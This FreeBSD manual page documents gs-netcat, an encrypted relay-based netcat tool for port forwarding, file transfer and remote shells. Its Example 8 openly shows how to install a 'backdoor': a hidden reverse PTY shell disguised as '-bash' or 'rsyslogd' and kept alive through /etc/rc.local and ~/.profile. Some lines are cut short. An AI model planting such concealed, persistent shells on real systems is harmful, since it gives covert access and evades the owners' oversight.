Skip site navigation (1)Skip section navigation (2)

FreeBSD Manual Pages


home | help
GS-NETCAT(1)		  BSD General Commands Manual		  GS-NETCAT(1)

     gs-netcat -- transfer data, forward traffic and execute commands on a re-
     mote host.	Securely.

     gs-netcat [-rlgqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d	IP]
	       [-p port] [-e cmd]

     The gs-netcat utility is a	re-implementation of netcat. It	allows two or
     more users	to establish a secure TCP connection with each other in	a sce-
     nario where all users are behind NAT/Firewall and would not be able to
     connect to	each other directly. Typically a connection between one	work-
     station and another workstation on	a different Local Area Network.

     It	uses the Global	Socket Relay Network (GSRN) instead of direct TCP con-
     nections. Neither workstation needs to open a port	in their firewall or
     accept incoming TCP connections.

     The connection is end-2-end encrypted using SRP (RFC 5054)	with AES-256
     and a 4096	Prime. The GSRN	sees only the encrypted	traffic.

     Common uses include:

	   +o   simple TCP proxies
	   +o   PTY shell
	   +o   File transfer
	   +o   a SOCKS ProxyCommand for	ssh(1)
	   +o   and much, much more.

     -C	     Disable encryption	and use	clear-text instead. Use	with caution.

     -d	ip   Destination IPv4 address for port forwarding.

     -D	     Daemon & Watchdog mode. Start gs-netcat as	a background process
	     and restart if killed.

     -e	cmd  Execute command and send output to	the connected client. Needs

     -g	     Generate a	secure random password and output it to	standard out-

     -i	     Interactive login shell. The server spawns	a true PTY login
	     shell. The	client acts as a true PTY client (with Ctrl-C etc
	     working). The client can terminate	the session by typing 'Ctrl-e
	     q'	at any time or by typing 'exit'. The server supports multiple
	     clients at	the same time.

     -k	file
	     A file containing the password.

     -l	     Server/Listening mode. The	default	mode is	client.

     -L	file
	     Log file [defaut: standard	out]

     -p	port
	     Port to listen on or to forward traffic to	[1-65535].

     -q	     Quiet mode. Do not	output any warnings or errors.

     -r	     Receive-only. Do not send any data. Terminate when	no more	data
	     is	available for reading.

     -s	secret
	     A password	chosen by the user. Both users need to use the same
	     password to connect.

     -S	     Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5
	     proxy. It allows multiple gs-netcat clients to (securely) relay
	     traffic via the server. Needs -l.

     -T	     Use TOR. The gs-netcat tool will connect via TOR to the GSRN.
	     This requires TOR to be installed and running. The	IP and PORT of
	     the TOR server can	be set using environment variables.

     -u	     Use UDP instead of	TCP for	port forwarding. Needs -p.

     -w	     Client to wait for	the listening server to	become available.

     The interactive login shell ( -i )	has a command console. Pressing	'Ctrl-
     e c' (e for EEEElite) opens the command console. The command console dis-
     plays the following information:

	   +o   Latency (in milliseconds) to the	remote host
	   +o   Warning when a user logs	into the system	or becomes active
	   +o   Data throughput
	   +o   File transfer logs
     Type 'help' for a list of available commands.

     File transfer is available	from the command console. Files	are transfered
     with the permission and modification timestamp unchanged. Partially
     transfered	files are re-started where the transfer	was left off.

     The 'put' command is used for uploading:

	   put foobar.txt
	   put $HOME/foobar.txt
	   put /tmp/*.log
	   put $(find. -type f -name '*.c')

     (The above	example	shows Shell Variable substitution and word expansion)

     It	is possible to limit the amount	of path	information that is sent as
     implied directories for each path you specify. You	can insert a dot and a
     slash into	the source path, like this:

	   put /foo/./bar/baz.c

     That would	create /tmp/bar/baz.c on the remote machine.

     The 'get' command is used for downloading:

	   get foobar.txt
	   get $(find /var/./ -name '*.log')

     Transfering a directory automatically transfers all files and directories
     within that directory (recursively):

	   get /var/log
	   get /
     The first command transfers all directories and files in /var/log/*. The
     latter command transfers the entire filesystem.

     Multiple get/put commands can be scheduled	at the same time.

     Example 1 - Listen	for a new connection using the password	'MySecret':
	   $ gs-netcat -s MySecret -l

     Connect with client using the same	password:
	   $ gs-netcat -s MySecret

     Example 2 - spawn a PTY login shell when a	client connects:
	   $ gs-netcat -s MySecret -l -i

     Log in to server's	interactive shell:
	   $ gs-netcat -s MySecret -i

     Example 3 - Execute a command when	a client connects:
	   $ gs-netcat -s MySecret -l -e 'echo hello world; id;	exit'

     Connect client to the server:
	   $ gs-netcat -s MySecret

     Example 4 - Pipe data from	client to server:
	   $ gs-netcat -s MySecret -l -r >warez.tar.gz

     Client to read 'warez.tar.gz' and pipe it to the server.
	   $ gs-netcat -s MySecret <warez.tar.gz

     Example 5 - Server	to act as a SOCKS4/4a/5	server:
	   $ gs-netcat -s MySecret -l -S

     Client to listen on TCP port 1080 and forward any new connection to the
     server's SOCKS server:
	   $ gs-netcat -s MySecret -p 1080

     Example 6 - TCP Port Forward all connections to Server:
	   $ gs-netcat -s MySecret -l -d -p	22

     Client to listen on TCP port 2222 and forward any new connection to the
     the server. The server then forwards the connection to
	   $ gs-netcat -s MySecret -p 2222
	   $ ssh -p 2222 root@

     The same using 1 command:
	   $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

     Example 7 - Creating an SFTP server using gs-netcat:
	   $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server

     The sftp-server binary speaks the sftp-protocol to	stdin/stdout. The sftp
     binary also speaks	sftp-protocol to stdin/stdout. The tool	can be used to
     connect both via GSRN (encrypted) and access the SFTP server running on
     the server's side from the	client via the GSRN (encrypted).:
	   $ export GSOCKET_ARGS='-s MySecret'
	   $ sftp -D gs-netcat

     Example 8 - Encrypted Reverse PTY shell hidden as '-bash' in the process
     list - also known as 'backdoor':
	   $ (GSOCKET_ARGS="-s MySecret	-liqD" exec -a -bash gs-netcat)

     The following line	in /etc/rc.local starts	the backdoor after each	system
	   GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color
	   SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd

     The follwing line in /etc/rc.local	starts a port-forward to
	   GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec
	   -a rsyslogd /usr/local/bin/gs-netcat"

     The following line	in the user's ~/.profile starts	the backdoor (once)
     when the user logs	in. All	in one line:
	   killall -0 gs-netcat	2>/dev/null || (GSOCKET_ARGS="-s MySecret3
	   -liqD" SHELL=/bin/bash exec -a -bash	/usr/local/bin/gs-netcat)

     The '(...)' brackets start	a sub-shell which is then replaced (by exec)
     with the gs-netcat	process. The process is	hidden (as -bash) from the
     process list.

     Client to connect to the backdoor:
	   $ gs-netcat -s MySecret -i

     The following environment variables can be	set to control the behavior of

	   Specify the IP address of the TOR server (or	any other SOCKS
	   server). Default is

	   The port number of the TOR server (or any other SOCKS server).
	   Default is 9050.

	   A string containing additional command line parameters. First the
	   normal command line parameters are processed	and then the command
	   line	parameters from	GSOCKET_ARGS.

     Passing the password as command line parameter is not secure. Consider
     using the -k option or GSOCKET_ARGS or enter the password when prompted:

	   $ gs-netcat -k <file>

	   $ export GSOCKET_ARGS="-s MySecret"
	   $ gs-netcat

     1.	The security is	end-2-end. This	means from User-2-User (and not	just
     to	the GSRN). The GSRN relays only	(encrypted) data to and	from the

     2.	The session is 256 bit and ephemeral. It is freshly generated for ev-
     ery session and generated randomly	(and is	not based on the password). It
     uses OpenSSL's SRP	with AES-256 and a 4096	Prime.

     3.	The password can be 'weak' without weakening the security of the ses-
     sion. A brute force attack	against	a weak password	requires a new TCP
     connection	for every guess.

     4.	Do not use stupid passwords like 'password123'.	Malice might pick the
     same (stupid) password by chance and connect. If in doubt use gs-netcat
     -g	to generate a strong one. Alice's and Bob's password should at least
     be	strong enough so that Malice can not guess it by chance	while Alice is
     waiting for Bob to	connect.

     5.	If Alice shares	the same password with Bob and Charlie and either one
     of	them connects then Alice can not tell if it is Bob or Charlie who con-

     6.	Assume Alice shares the	same password with Bob and Malice. When	Alice
     stops listening for a connection then Malice could	start to listen	for
     the connection instead. Bob (when opening a new connection) can not tell
     if	he is connecting to Alice or to	Malice.	Use -a <token> if you worry
     about this. TL;DR:	When sharing the same password with a group larger
     than 2 then it is assumed that everyone in	that group plays nicely. Oth-
     erwise use	SSH over the GS/TLS connection.

     7.	SRP has	Perfect	Forward	Secrecy. This means that past sessions can not
     be	decrypted even if the password becomes known.

     The latest	version	is available from

     gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)

     Efforts have been made to have gs-netcat "do the right thing" in all its
     various modes. If you believe that	it is doing the	wrong thing under
     whatever circumstances, please notify me ( and tell	me how
     you think it should behave.

BSD			       October 08, 2020				   BSD


Want to link to this manual page? Use this URL:

home | help